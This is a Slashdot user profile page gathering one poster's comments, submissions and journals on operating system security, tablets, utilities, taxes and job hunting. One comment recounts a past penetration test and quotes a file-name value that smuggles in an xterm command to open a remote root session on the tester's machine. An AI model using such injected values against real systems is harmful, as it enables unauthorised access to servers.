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Technology Heats Up the Adultery Arms Race

Anon-Admin Simple solution (304 comments)

Simple solution, Always be honest in your relationship!

My wife and my girlfriend get along great, even take them out shopping together. The only issue I have is when we all go out, I can not get a word in edge wise.

Keep it honest and there is no need for all those tools.

5 days ago
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Confidence Shaken In Open Source Security Idealism

Anon-Admin Re: Really? (264 comments)

And a competent windows admin still deals with viruses on their servers.

I was unaware that all the android phones, tablets, and devices as well as all the home routers, set top boxes, etc. were only managed by "IT professionals"

5 days ago
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Confidence Shaken In Open Source Security Idealism

Anon-Admin Re:Really? (264 comments)

Ill disagree, I still believe it is because Windows is far less secure.

Linux == 98% of all super computers (Top 500 List)
Linux/Android == 74% of all Mobile devices (Gartner)
Linux/Android == 61.9% of all Tablets (Gartner)
Linux == 78% of all internet Servers (Security Tech)
Linux == 28% of mainframes (Gartner)
Linux Desktops == 1.65% (From Gartner as the total number of systems shipped with Linux pre-installed) up to 20% depending on the source.

That is not even getting into all the routers and smart switches, embedded devices, etc.

Open source and Linux make a very large target with lots of high profile targets. I am surprised that there are not more exploits and the simple lack of viruses should be proof enough that linux is far more secure.

5 days ago
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Complain About Comcast, Get Fired From Your Job

Anon-Admin Re: Time To Occupy Comcast HQ? (741 comments)

I hate to point this out but Utility Services are not Natural monopolies. They are government sponsored monopolies. The right of way where the lines and poles go is strictly regulated and restricted. In many cases it is codified that only one service my use the right of way.

In recent years it has lessened with Electricity where I am in that there is one company that has the line and right of way but they are prohibited from providing electricity to the customer, instead they are required to sell access to other electric companies.

about two weeks ago
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Living On a Carbon Budget: The End of Recreation As We Know It?

Anon-Admin Re:Lots of cheap carbon stuff (652 comments)

I disagree, I used to have a rack of 12 systems, a robotic tape changer, and a 12 drive scsi array. Electricity ran $600 a month

Now, I have 5 systems that sit on my desk, two cloud servers, one desk top, one VOIP system and a NAS. All the same functionality and my electric has dropped to $290 a month.

Ill admit that my setup is not average but with the advent of new technologies my energy usage has dropped while maintaining the same functionality at the house.

about two weeks ago
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Living On a Carbon Budget: The End of Recreation As We Know It?

Anon-Admin Re:Conservation and smart practices (652 comments)

Last year the addition of solar PV and a solar water heater have further reduced my electric demand by 2/3. These upgrades will pay themselves back in about 12 years.

My only issue with PV is that I could never get my money back on them. Considering we get golf ball sized hail once every 3 to 5 year. I have had to replace my roof three times in the 15 years I have lived in my house.

about two weeks ago
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Living On a Carbon Budget: The End of Recreation As We Know It?

Anon-Admin Re:Navel gazing (652 comments)

Speaking as a Libertarian who has run for office, Ill say he has no idea what a libertarian is!

about two weeks ago
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Facebook Apologizes To Drag Queens Over "Real Name" Rule

Anon-Admin Re: its their own fault (280 comments)

use your real name like us normal folks

Wow, I have now met the real person called "Anonymous Coward"

Is it me or is it just funny that someone posted anonymously that you should used your real name like "Normal Folks"

about three weeks ago
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FCC Rejects Blackout Rules

Anon-Admin Slashdot news for Nerds (135 comments)

Wait, Why is there a story about football on a site that is news for nerds? Move it to the News for Jocks site.... Wait, can they read?

about three weeks ago
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HP Introduces Sub-$100 Windows Tablet

Anon-Admin Re:That's a reasonable price point... (182 comments)

#1) Windows is crap software so no surprise that it is a system/memory/cpu hog.
#2) The pads have full HDMI, USB, SD Card connectors. Heck I take one with me out to the ranch to check the game cameras via USB.
#3) Why would anyone on the backwater planet want to connect a pad to a monitor, keyboard, and mouse and try to use it like a desktop?
  I have a pad for portability and a desktop for power. Just as I use Raspberry Pi systems for single purpose systems such as running a DNS server at the house or XBMC on the TV.

about three weeks ago
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HP Introduces Sub-$100 Windows Tablet

Anon-Admin Re: New tablet price point (182 comments)

The $35 ones I bought were dual core, 1024mb ram, 2g internal storage, 10 point capacitive touch, with a micro-SD slot that will take up to a 32gig card.

So far they play all the games and run just about anything we care to put on them. Though We use them for browsing and as the remote control for the OpenElec XBMC/Raspberry Pi units.

about three weeks ago
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HP Introduces Sub-$100 Windows Tablet

Anon-Admin Re:New tablet price point (182 comments)

Lol, $35 at Fry's electronics down the street from my house. So no need to go to china for them.

about three weeks ago
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HP Introduces Sub-$100 Windows Tablet

Anon-Admin Re:99 is not sub $100 (182 comments)

$99.99 is not sub $100, with %8.25 tax, or $5 shipping and handling, or any add on to the cost. :P

It is 1 penny less than $100 so most smart people round up.

I wonder if there are other ways to make the $99.99 into $100 hmmm

about three weeks ago
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HP Introduces Sub-$100 Windows Tablet

Anon-Admin Re:That's a reasonable price point... (182 comments)

At that price, there'd be enough people to see if you get a Linux distro on it, and it's close enough to cheap android levels.

What? The last four 7" Android pads I bought were $35 each. $99 is 3x the cost so I am not sure I would call it close to the cheap android levels.

Hell, at $35 I bought one for everyone in the house, plus two floaters to be used in the living room and the kitchen. They are handy to have around. At $99 with windows installed, they can keep them.

about three weeks ago
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Microsoft's Asimov System To Monitor Users' Machines In Real Time

Anon-Admin Re:Circle jerk (269 comments)

The smart people are already on Linux or soon will be. Thus they don't have to worry about Microsoft Monitoring all the windows systems.

Or viruses, spyware, rebooting frequently, BSOD errors, etc, etc, etc.

about three weeks ago
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Microsoft On US Immigration: It's Our Way Or the Canadian Highway

Anon-Admin Re:Fine! (365 comments)

You are right, it does reduce the taxable income. You still have to write it off as you have to declare the amount given. Seeing as he is taxed at the lower capitol gains tax that could be a substantial reduction in total tax burden.

about three weeks ago
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Microsoft On US Immigration: It's Our Way Or the Canadian Highway

Anon-Admin Re:Fine! (365 comments)

That is not exactly right.

He gives $X of his personal income to his non-profit charity. He can now write off the $X from his personal taxes and still keep the money in something he controls.

Aside from that, being the head of the non-profit means that he can receive benefits from the non-profit for his time and service. For example the non-profit can own his house, car, boat, etc and provide for his use free of charge. This protects his assets while still giving him control of them, on top of this it is deducted from the non-profit as an operating expense. Remember, a non-profit can spend 90% of it's income on operating expenses and 10% or less on the charitable actions.

about three weeks ago
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Remote Exploit Vulnerability Found In Bash

Anon-Admin Re:Only CGI scripts affected? (399 comments)

Ill top that one, back in the late 90's I was hired to check out an ISP's security. I was given standard user access to the web front end.

They had a routine to un-tar/zip/etc a file. You could free form the file name so i entered

junk.tgz:xterm -display my.IP.Addr:0.0

To my surprise There was an xterm on my linux box right to their server, with full root access.

about three weeks ago
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Ask Slashdot: Finding a Job After Completing Computer Science Ph.D?

Anon-Admin Re:Don't put PhD in the resume (479 comments)

It is now over 10 years ago, so I just don't list it.

However, for the longest time I listed that I was self employed and did consulting. Few ever asked to check and those that did would get a list of companies that I did little jobs for while I was in school.

about a month ago
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Ask Slashdot: Finding a Job After Completing Computer Science Ph.D?

Anon-Admin Re:Don't put PhD in the resume (479 comments)

Ill second this statement.

I hide both my DSc and my PhD.

about a month ago

Submissions

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The ISP--The Uncommon Carrier

Anon-Admin Anon-Admin writes  |  more than 6 years ago

Anon-Admin (443764) writes "Every time there is a question of an ISP monitoring, censoring, or blocking content some one comments about Common Carrier requirements. It is true that most do not make attempts to claim Common Carrier Status. There are many pros and Cons to being a common carrier and it is best summed up in Geoff Huston's article The ISP — The Uncommon Carrier

"Today the short-term expedient measures abound. There is enormous pressure on ISPs from both the Internet's user base and numerous legislatures to take an active position of being responsible — and liable, for the content on the networks and the actions of their clients. If left unchecked, this will have severe longer-term consequences for free speech, basic personal privacy, and uncensored, nondiscriminatory, universal access to the Internet. And when the user base comes to recognize the debased value of such a compromised communications system, they will inevitably look to other means of communication that have retained their essential integrity as a common carriage service."

Maybe we should push for ISP's to be covered as Common Carriers. What do you think?"
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Anon-Admin Anon-Admin writes  |  about 8 years ago

Anon-Admin (443764) writes "It would seem that the US Homeland Security is worried about the Internet! Here is the story over at www.prisonplanet.com

From the article:

Disaffected people living in the United States may develop radical ideologies and potentially violent skills over the Internet and that could present the next major U.S. security threat, U.S. Homeland Security Secretary Michael Chertoff said on Monday.

"We now have a capability of someone to radicalize themselves over the Internet," Chertoff said on the sidelines of a meeting of International Association of the Chiefs of Police.
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Anon-Admin Anon-Admin writes  |  about 8 years ago

Anon-Admin writes "SEATTLE Microsoft said Wednesday that its forthcoming Windows Vista would take much harsher steps to curtail piracy than previous versions of its operating system, including crippling the software's functionality in computers found to be running unlicensed copies.

It looks like Microsoft is making a futile move to stop piracy, once vista comes out I wonder how long it will be before a crack is released."
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Anon-Admin Anon-Admin writes  |  more than 8 years ago

Anon-Admin (443764) writes " www.voanews.com has a story of the software glitch on the spacestation. Looks like it just needed a reboot :)


Astronauts working on the International Space Station faced a delay Thursday after a computer software problem temporarily held up plans to unfurl two large solar panels."

Journals

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Where to find a good Content Management System?

Anon-Admin Anon-Admin writes  |  more than 7 years ago

I have been asked to find a Content Management System that would let us import and manage our existing library. After searching high and low for one, I have not found a single product that fits our needs. It would seem that some one would have done this before me.

So I put it to slashdot, what should I use? It would need to be web interfaced, and have a management system to restrict access to some areas of data. It needs to be able to catalog our existing library and make it available. Even if the availability was just as a document revision control system with search, read, and check out (edit) abilities.

This library consists of 15Gigs of images (Using image name, existing directory structure, etc. would be fine), 30Gigs of MP3's (Prefer it to scan the ID3 tags), 50Gigs of TXT files (Full Text search), 50Gigs of .gz and .zip compressed TXT files (It would be nice if it scanned inside the gz/zips and knew how to open them and display them, not all those text files end it .TXT so it needs to know how to test file types), 45Gigs of DOC files (Full Text Search), 20Gigs of HTML files (Full Text Search), 30Gigs of ODT files (Full Text Search), 45Gigs of PDF Files (Full Text Search), and 500Gigs of Video (Using Video File name would be fine). Plus miscellaneous files, For example Word Perfect files, Open Office spreadsheets, Power points, etc, etc. All in all we are talking about a library that is sitting at just over 1.8Tb

It should be noted that the Image library grows at an average of 500megs a week so adding large numbers of images should be something that a photographer can do!

Thanks

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How would you do data acquisition on the cheap?

Anon-Admin Anon-Admin writes  |  more than 7 years ago

I have been working on a science project studying the effects of micronutrient deficiencies in plants. I will be building a new environment chamber soon and was looking at automating the data acquisition portion. I am a little tired of manually taking the data and know that a computer could do a better job than me. I looked into data acquisition systems and was shocked at the price. Cheap ones are $500 - $1000 for the main unit with probes costing $50 - $300. I know that a printer port is a digital I/O and can be used to do data acquisition. After spending some time looking it up, I am not finding anything on it. So how do you do data acquisition on the cheap?

I am not a programmer (other than perl) so I would need a program or a perl module to pull the data. I can build circuits provided I have a diagram of the design. I have a system and can install any OS to get the job done.

What I need to monitor is Chamber Temperature, Chamber Humidity, Chamber Light State, Room Temperature, Room Humidity, and Room Light state.
Temp = +/- .5c

I would like to monitor Chamber CO2 level, Room CO2 level, Chamber O2 level, Room O2 level, Nutrient Levels, Nutrient Ph Level, Nutrient Temperature level, Nutrient PPM (EC) level, and Moisture in soil (Does it need to be watered?)

There will be 6 plants and 6 1gal nutrient reservoirs.

With this in mind, I have a limit of $500 for the data acquisition portion of the project. So what is the best way to get the most bang for the buck?

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How to Protect a Windows laptop?

Anon-Admin Anon-Admin writes  |  about 8 years ago

After more than 10 years with out a Windows system I broke down and bought a Windows XP laptop. I write articles for a few magazines and, for years, I have used IBM ViaVoice on Linux to dictate the articles directly. On the last upgrade of my Linux system, I lost ViaVoice and can no longer find it or buy it for Linux.

So to solve the problem, I bought a simple Compaq Laptop and Dragon Natural Speaking. I was amazed at the crap they installed. 2 hours after turning it on I had successfully removed over 20 gigs of junk/trial/nagware software.

I installed Spybot S&D and found that the laptop came preinstalled with 12 different spyware programs. I followed this by installing CLAMAV and found that it also came preinstalled with a Trojan, although there is a possibility that this was picked up when I put it on the network to grab the software.

So now that the laptop is clean, my question is simple. What should a new Windows system have on it to stop all the junk? What software do you suggest I install to protect this laptop or to extend usability of the unit?

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My daughters science fair project

Anon-Admin Anon-Admin writes  |  more than 8 years ago

Well it is science fair time and my daughter has decided that she wants to enter. There is a short time frame on this. They have only given us 2 months to come up with and do the experiment. This eliminated most of the plant experiments as well as the hydroponic experiments that she wanted to do. So I thought to my self "Time for some great science fun!" Only to have every idea we have come up with shot down by the teachers.

Ideas so far.

#1) The extraction of naturally occurring MAOI's from local plants.
              a) Can we extract natural MAOIS?
              b) Can the natural MAOI's help mom with here moods?

        Shot down for the following reasons
              1) Extraction of MAOIs may violate the controlled substances act
              2) Human and animal testing is not allowed.

#2) The generation of hydrogen in sufficient quantity to run a vehicle.
              a) Can we separate H2O at a sufficient speed to produce the hydrogen needed to run a car?
              b) At what rate can we produce hydrogen by the separation of H2O into hydrogen and Oxygen?
#3) Can we make a philosophers torch?
          a) How does it work?
          b) Why does it work?
#4) Can we do tests with thermite?

                  All Shot down for the following reasons
                          1) It could be dangerous to work with hydrogen.
                          2) We can not do anything that burns or explodes.

#5) A microscopic taxonomy of the commercially available Ps. Cubensis mushroom spores.
                a) Are all the spores of this species the same or are there sub-species within the commercial strains?
                b) Are the commercial strains different that local wild strains?

                Shot down for the following reasons
                  1) Although the spores are legal, this is considered to be drug related and no entry can involve drugs or drug related items.
                  2) Picking the wild strains my be in violation of the controlled substances act. Possession of a schedule 1 narcotic.

#6)An examination of the radioactive decay of U238 in comparison to Am243.
              a) Do both substances provide the same amount of radioactive decay when placed in proximity to a CCD imaging chip?
              b) What are the differenced in the radiation between the two substances?

              Shot down for the following reasons
                1) NO RADIOACTIVE SUBSTANCES!!!
                            No other reasons stated.

So we are 1 week in and still no ideas that they will accept.

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Time for fun

Anon-Admin Anon-Admin writes  |  more than 8 years ago I get lots of contracting firms calling and e-mailing me to see if I am available to take a new contract. Many will send a list of requirement like the one listed. I have included my translations of what they are really looking for. This has been done many times by many people, I just thought it would be fun.

I should add that I normally respond to these and let them know that I would be happy to take the contract at an hourly wage of $350. I figure if they are willing to pay me that much, Ill be willing to do that job. :)

Production Support experience on UNIX and Windows Intel servers with an excellent working knowledge of operating system concepts (Client-UX 11.xx preferred) to provide performance tuning and timely troubleshooting resolution of complex issues including high-pressure system down events.

Meaning, Our outdated computer systems go down and we want it fixed yesterday!

Broad B2B application background with some experience desired on TIBCO products, Oracle, SQL, MQ, Cyclone AS2, Apache, GXS, PGP, FTP, Peregrine, Client Openview

We do not want to hire a DBA so you should be able to run the servers, databases, and monitoring system with out any help.

Experience in System and Network Security including SSL, SSH, TLS, VPN, TCP/IP, Firewall, Proxy, encryption and certificate management.

You will be handling all the servers and the networks. We intend to hold you responsible for all breaches of security from servers being hacked to the virus that Marry Lou opened and now infects the whole network.

Good understanding of basic Internet concepts (e.g., routers, firewalls, Web Server, Web browser, load balancing, DNS, portal, HTTP, HTML, XML)

You will be managing our online presence including developing our web page in your spare time.

Familiarity with Java - JavaScript J2EE (JDBC, RMI, EJB, JNDI, JMS).

We are looking at expanding our web site with these nice new java features and want you to develop them.

Sets priorities; quickly zeros in on the critical few and puts the trivial many aside; can juggle numerous tasks and priorities while maintaining productive flow of work; is flexible and adaptable

We are constantly in a state of chaos because of our old equipment. We want some one who can fix everything that breaks and still do the other jobs we line up for him.

Communicates clearly and succinctly in a variety of communication settings and styles; can get messages across that have the desired effect, including ongoing issues and infrastructure; Strong interpersonal skills and team orientation, including interaction with outside vendors and customers.

We want some one who will take the blame and not complain about being treated like crap. We should not be able to tell that he is unhappy no matter how we communicate.

Practices attentive and active listening; flexible and adaptable; drives for results and knowledgeable about how projects and tasks should be accomplished; demonstrates good follow through on information and project status.

Understands that upper management knows what is best for the company. Even if the product dose not fill the need he should be able to make it work.

Strong time management skills. Ability to juggle priorities and adapt to very rapidly changing and growing environment,

Should be willing to work 80 hours a week on 40 hours of pay. Understands that we change our mind in mid-project and can completely rework the project in just a few minuets.

Ability to think creatively and "out of the box" in order to troubleshoot and resolve challenging system and infrastructure issues

Should be able to provide a solution to any problem that will cost the company 0$ and provide all the features that are requested.

Ability to troubleshoot problems quickly, as well as able to work the resolution to completion.

Has the ability to implement Band-Aids on problems just to get it fixed.

Must have ability to be responsive and effectively work through difficult situations rather than avoiding them.

We have people who complain about everything. Even when there is not a problem the person should be willing to work with the people and find a solution that fixes what ever it is that the user thinks is the problem.

Experience working in a 24/7 enterprise environment, and must be willing to participate in 24/7 on call rotation to support Production environment

Willing to work 20 hours a day on our problems and carry a pager/cell phone the remaining 4 hours so that we can will him back if we think there is a problem.

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